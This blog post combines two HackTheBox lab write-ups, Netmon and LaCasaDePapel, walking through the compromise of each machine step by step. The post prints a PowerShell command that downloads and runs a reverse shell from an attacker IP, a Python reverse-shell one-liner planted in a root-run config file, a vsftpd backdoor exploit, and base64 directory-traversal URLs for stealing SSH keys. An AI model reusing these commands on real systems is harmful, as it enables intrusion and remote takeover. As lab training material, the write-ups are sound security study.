This post is a combination of two write-ups that were previously housed elsewhere. The original post here on my blog was simply a notice with links to the other site. As much as I'd like to split them into two separate posts, I'd rather ensure that the original post date stays intact. To that end, here are my write-ups for the HackTheBox boxes Netmon and LaCasaDePapel.
Netmon
Netmon is our target for this week’s HackTheBox report. This was one of the easier times I’ve had with HackTheBox, so hopefully the write-up won’t be too painful.
Starting out, we run Nmap:
nmap -sC -sV -oA Netmon 10.10.10.152
Explanations:
-sC - Script scanning using the default script list.
-sV - Attempts version detection of protocols/applications during scan.
-oA - Output files in all formats
Netmon - The name of the files for -oA output.
10.10.10.152 - The target machine’s IP address.
The only ports open on this box are FTP and HTTP. The website is running PRTG:
Before I start poking around FTP, I do the usual thing and kick off some web tools:
gobuster -u http://10.10.10.152 -w /usr/share/wordlists/dirb/small.txt -o Netmon.gob.txt
Explanations:
-u - Specifies the URL to gobust.
-w - Specifies the wordlist to use for brute-forcing directories. I find that small.txt is a good, default starting point for me. If needed, I can work my way up to bigger wordlists, but it hasn’t been necessary for me up to this point.
-o - Specifies the ouput file name.
nikto -host 10.10.10.152 -port 80 -output Netmon.nikto
Explanations:
-host - Specifies the target hostname/IP address.
-port - Specified the target port number.
-output - Specifies the output file name.
I didn’t learn anything from either tool, so I turn my attention to FTP. You may have noticed in the Nmap results that FTP supports anonymous logins. We’re going to utilize that fact right now and connect with ncftp:
Once we’ve connected, it doesn’t take long to locate the user flag in \users\public. We can get it to our machine with FTP and read it. Now we’re ready to start escalating our way towards root.
While we’re still connected to FTP, we need to look around. I am much more familiar with Windows machines than I am with Linux, so it doesn’t take me long to find the ProgramData folder, which is normally hidden, but we can forcefully browse to it even if it isn’t listed. I immediately see the Paessler folder and continue to drill down and explore the file structure. I also spend some time Googling vulnerabilities for PRTG while exploring, and I stumble upon a post indicating that PRTG versions earlier than 17.4.35.3326 stored plaintext credentials in configuration files. On Netmon, there are a few different configuration files, but if we take our time and be thorough, we’ll read through each one and eventually discover that PRTG Configuration.old.bak contains the password:
However, this password does not let us into the admin menu. Think about it, though: what year is it?
That’s right: the box was released in 2019. This .bak file is from 2018. The password has likely changed since then, so if we simply tweak the password to reflect the new year...
...we’ll get in! We now have access to the web GUI of PRTG. We can spend some time poking around, but I also elected to go on the hunt for some pre-existing published vulnerabilities for RCE in PRTG. It didn’t take long for me to stumble onto a flaw in the notifications feature of PRTG wherein the parameter text field is passed directly into a PowerShell script that is then run as part of the notification. We can even force the notifications to run by “testing” them.
Personally, I didn’t see the point in trying to just read the root flag. Why not aim high and try to get a shell? To that end, I started my preparations.
First, we need to host our chosen shell. I love this simple reverse shell by infoskirmish, so I host a SimpleHTTPServer on my attacking machine in the same directory as the shell executable:
python -m SimpleHTTPServer 9009
Explanations:
-m - Run a module.
SimpleHTTPServer - Launch a simple HTTP server, as the name implies.
9009 - The port on which the server will listen for incoming connections.
If we really want to do this in one shot, we need to get our netcat listener set up now, as well:
nc -lp 2113
Explanations:
-l - Listen mode.
-p 2113 - Specifies the port on which to listen.
With our attacking box fully prepped to host the shell executable and the listener ready to catch the reverse shell, let’s craft a command to accomplish both the download and execution of the shell:
powershell -command "((new-object System.Net.WebClient).DownloadFile('http://10.10.14.41:9009/shell.exe', 'C:\Users\Public\shell.exe'))"; "c:\windows\system32\cmd.exe /c C:\Users\Public\shell.exe 10.10.14.41 2113"
Explanations:
-command - Specifies that everything in the following () will be executed as a command.
new-object System.Net.WebClient - Creates an object of the type System.Net.WebClient.
.DownloadFile - Calls the DownloadFile file function from System.Net.WebClient with the source and destination as parameters.
; - Indicates a second, separate command to be run after the first string.
In PRTG, proceed to “Setup” > “Account Settings” > “Notifications”. Select the little plus sign on the right of the page to add a new notification. Name the notification whatever you want. Further down the page, you’ll see an option to “Execute Program”. Expand this option, select “Demo exe notification - outfile.ps1” as the Program File and paste in your PowerShell command as the Parameter. Save the notification.
Once you are back at the notification screen, highlight your notification, then from the menu on the right-hand side that appears select the bell icon to “Send test notification”. This will cause your PowerShell command to be included in the demo .ps1 file, thus downloading and executing your shell.
And that, dear readers, is Netmon. I hope you enjoyed this quick, breezy little box. See you next time!
LaCasaDePapel
Before I start, apologies for the late drop on this write-up. I had it ready as soon as I finished the box, but I’ve been out with illness for a few weeks and didn’t even see that this box had already been retired until today. So here it is, better late than never!
LaCasaDePapel was one of those boxes that once again humbled me and taught me that I do not know nearly as much as I assume I’ve learned from HackTheBox so far. From my conversations with other people, that seemed to be an at least not uncommon theme, so hopefully this write-up is helpful for those of you who were as confused as I was.
As per the norm, we start out with our Nmap scan:
nmap -sC -sV -oA LaCasaDePapel 10.10.10.131
Explanations:
-sC - Script scanning using the default script list.
-sV - Attempts version detection of protocols/applications during scan.
-oA - Output files in all formats
LaCasaDePapel - The name of the files for -oA output.
10.10.10.131 - The target machine’s IP address.
On this box we’ve got FTP, SSH, HTTP, and HTTPS available. We don’t have any credentials for SSH, and I don’t see anything indicating that anonymous logins are available for FTP, so we’ll start by taking a look at the web server ports.
First, let’s start with HTTP to see if there is anything interesting we can grab over plaintext:
Nothing of interest as far as I can tell. I could be wrong, but I’d rather not start attacking something unless it is blatantly obvious that it might help me. That having been said, let’s try HTTPS instead:
We get an invalid certificate error, and an image featuring my favorite painter, Salvador Dali, telling us that we need to provide a client certificate to proceed. Again, I don’t want to dig into this too far, but I get the feeling that this may be our path as opposed to the authentication app mentioned on the HTTP page. Just a hunch.
Since we can’t really proceed any further with web services, let’s revisit FTP. You may have noticed in the earlier screenshot that a particular FTP server application and version number were discovered by Nmap. If you’re on Kali, we can run those through searchsploit. If you’re a 0x00sec VIP member, you can have Karen take a look for you via Discord:
As it turns out, vsftpd was backdoored in version 2.3.4, and that happens to be the version installed on our victim. This exploit is trivial to exploit on your own (so much so that I am not going to dedicate any time to writing about the exploit), but for some reason it was extremely unstable for me (a recurring issue I had with multiple paths on this box, sad to say). The Metasploit module, on the other hand, was far more stable. Let’s get it set up:
use exploit/unix/ftp/vsftpd_234_backdoor
set rhosts 10.10.10.131
set rport 21
Once we’re set, we’ll run the exploit command to execute.
The exploit will succeed, but we haven’t set up a payload or listener of any kind, so no session will be created. This is okay. If you read the exploit itself, you’ll have realized that the backdoor is hardcoded to open port 6200 on the affected system. Let’s try using telnet to connect to that port to see if our exploit worked:
telnet 10.10.10.131 6200
So, we got a shell. But what is it? Clearly, this is the backdoor that has been embedded into vsftpd, but how do we use it? What are its capabilities? A little cursory research is never a bad idea, but in this case just firing the help command into the aether did the trick for me:
NOTE: I noticed when interacting with this shell that if you do something to cause an issue, you may have to reset the box so you can re-run the exploit to get a fresh copy of the backdoor. Just my observation.
So, we have some things we can try. Now, it might just be me, but the first thing I did was use the ls command to see what I could learn about the environment. I quickly note that $tokyo is a variable. That seems interesting, so I’ll run show $tokyo to see if this trail of breadcrumbs leads us any deeper into the woods:
We have some code in here that looks interesting enough. There is one bit in particular that stands out because, if you recall, the HTTPS web page stated that we need a client certificate to proceed. Incidentally, this code appears to mention a CA key, which might be exactly what we need to craft our own client certificate. I decided to rip the command straight out of $tokyo without assigning a variable. I ran it, and got some results:
file_get_contents('/home/nairobi/ca.key');
That looks like a private key if I ever saw one. Now, we don’t have a reliable method of downloading the ca.key file, so instead I’ll just copy the text from -----BEGIN PRIVATE KEY----- to -----END PRIVATE KEY-----. I’ll use vi to create a new file called ca.key, paste the contents I have copied, then set to work editing. I remove the preceding blank spaces for each line, as well as any lines that are totally blank. Once those are addressed, I’ll remove the \n at the end of each line. If you’ve done it correctly, md5sum should return 15669c919e89280007d130f0ca5688a4 as the hash value for ca.key.
I will preface this entire next section by saying that I work with CSRs and keys and certificates on a fairly regular basis at my dayjob, and even still I had some issues with this. My issues, as per the norm, all stemmed from the fact that I way overthought this, but there is also the fact that the next step can be approached in a few different ways. My way only requires a single command, though, and I know how it worked, so we’ll stick with it for now.
First, make sure you’ve got your ca.key file ready. Next, visit the web page via HTTPS. However you’d like, view the certificate for the web page and export it to your machine. It should be called lacasadepapelhtb.crt and should have a SHA1 thumbprint of 8C:47:7F:3E:53:D8:E7:6B:4C:DF:EC:CA:AD:B6:05:51:B1:B6:38:D4. With both these files in hand, run the following openssl command:
openssl pkcs12 -export -out lacasadepapelhtb.p12 -in lacasadepapelhtb.crt -inkey ca.key -passin pass:lacasa -passout pass:lacasa
Explanations:
pkcs12 -export - Indicates that we are going to be exporting a file in this format.
-out lacasadepapelhtb.p12 - Indicates the name of the file we are outputting.
-in lacasadepapelhtb.crt - Indicates the name of the file we are inputting for conversion.
-inkey ca.key - Indicates the key we will be using to sign the exported file.
-passin pass:lacasa -passout pass:lacasa - These switches just specify the password used to secure the file(s).
If all goes as planned, you should have a brand new file named lacasadepapelhtb.p12. Take this file and import it into your browser of choice (for me, Firefox worked best.) Once that is done, revisit the HTTPS page, and you should notice different behavior than previously exhibited when you did not have the CA key signed certificate:
At this point, I just started clicking around and exploring the page. To be honest, I am surprised I found the path forward as quickly as I did. If you click into either season’s link, you’ll be presented with a list of “episodes”. Pay close attention to the URL for the “episodes”; Season 01, Episode 01 for example:
hxxps://lacasadepapel.htb/file/U0VBU09OLTEvMDEuYXZp
That bit after file/ looks interesting to me. How about we run it through base64 to see what we get?
echo U0VBU09OLTEvMDEuYXZp | base64 -d
Okay, so the actual URL, when decoded, is hxxps://lacasadepapel.htb/file/SEASON-1/01.avi. Let’s try that in our browser now to see what happens:
That didn’t work. Let’s try the original URL, complete with base64:
That worked. That means, essentially, that we can download files here, but only if we do it by supplying the path in base64. There’s more to it than that, though. Remember our FTP backdoor shell? Here’s something we can see with it (I captured this during my initial enumeration of that foothold, which is why it stuck out to me later on):
I had used the scandir PHP function to explore the file structure, and I knew this seemed familiar! Between this knowledge and the base64 trick we learned, it’s safe to say that hxxps://lacasadepapel.htb/file/ actually represents /home/berlin/downloads/. Knowing this, we can start trying some directory traversal attacks.
Taking it easy at first, let’s see if we can read the contents of /home/berlin. To do his, we need to traverse up from our default subdirectory. This is also known as a dot-dot-slash attack. So, the path we want is ../../berlin/ which, when converted to base64 using CyberChef is Li4vLi4vYmVybGluLw==. That makes our full path hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluLw==
NOTE: I very specifically mention CyberChef here because obtaining the base64 using other ways may produce different results that, when submitted as part of a URL to the HTTPS web page, can cause the HTTPS service to crash and become unavailable until the machine is reset.
We can’t read directories with this trick. That’s fine. Let’s go for some loot and see if we can grab the user flag. Our path is ../berlin/user.txt, and in base64 that is Li4vLi4vYmVybGluL3VzZXIudHh0. Once again, our full path is hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluL3VzZXIudHh0
That’s our user flag! Now, let’s scrounge around for anything else we may be able to pilfer using this trick. I quickly discovered that we can’t go very deep into most folders, so I decided to reply upon a mixture of enumeration via our FTP backdoor shell and some good, old-fashioned research. Below were the contents of /home/berlin:
We can’t dive very deep into any of these folders, so we’ll have to do some research on each of these folders. We could also grab the server.js file with our base64 directory traversal trick, but we’re trying to get a better shell, hopefully as a better or at least different user. To that end, .ssh intrigues me. I had some cursory knowledge prior to doing this box, but some quick Google work led me to the knowledge that the file id_rsa lies within this folder. With this file, we can authenticate to the victim box over ssh and get a better connection (hopefully!). Using our trick, we come up with the path hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluLy5zc2gvaWRfcnNh
We’ve got it! So, now we want to try authenticating with our key. However, allow me to save you a step here: the key does not allow us to authenticate as the user berlin. We’ll have to try a different user.
Now, my fellow 0x00sec HTB player @clarkee told me that the answer to the user we need to authenticate as is obvious if you think about it. Well, I did not take that route, so let me show you what I did instead, like a bad person:
Yes, I just took the contents of /etc/passwd and made a hard-coded bruteforce script. Sloppy, but it did the trick.
We are in via SSH as the user professor. Wonderful. Time to enumerate and try to get some privilege escalation.
I wasted so much unnecessary time on this box. Once again, my unfamiliarity with Linux and my general newness to hacking in general got the better of me. The answers to my path were in the folder of the user I connected with the whole time.
I did not know this, but despite the fact that the memcached.ini file does not have w permissions set at the file level, the directory itself does, so we have the ability to overwrite it. And because it is owned by root, anything that gets executed as a result of that file also runs as root. A quick review of ps -a shows us something interesting (or you can capture this with pspy, which I’ve covered in other posts and won’t re-iterate here):
The memcached process runs fairly regularly, so if we can edit memcached.ini it will definitely be read in short order. Let’s examine the contents of the file first before we make any changes:
Okay, so, we need to change everything after command = sudo -u. I am going to change nobody to root, then drop in a python command for a reverse shell (which I got from NaviSec (thanks, @pry0cc)). I will place this into a file called new.ini, since I can’t edit memcached.ini directly. Then, after setting up a listener on my attacking machine with nc -lp 2113, I’ll run mv new.ini memcached.ini to overwrite the file owned by root. Here are the contents of new.ini:
[program:memcached] command = sudo -u root python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.41”,2113));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
Once we’ve moved the file, we can go watch our listener and wait for our reverse shell to appear:
And that’s LaCasa. All in all, I really wanted to like this box. Conceptually, I did, but the little instabilities really made it hard to enjoy. I reset this box more times than I have reset all other boxes combined. Still, I learned some new things, and I hope you did as well.
Thanks for reading!
No comments:
Post a Comment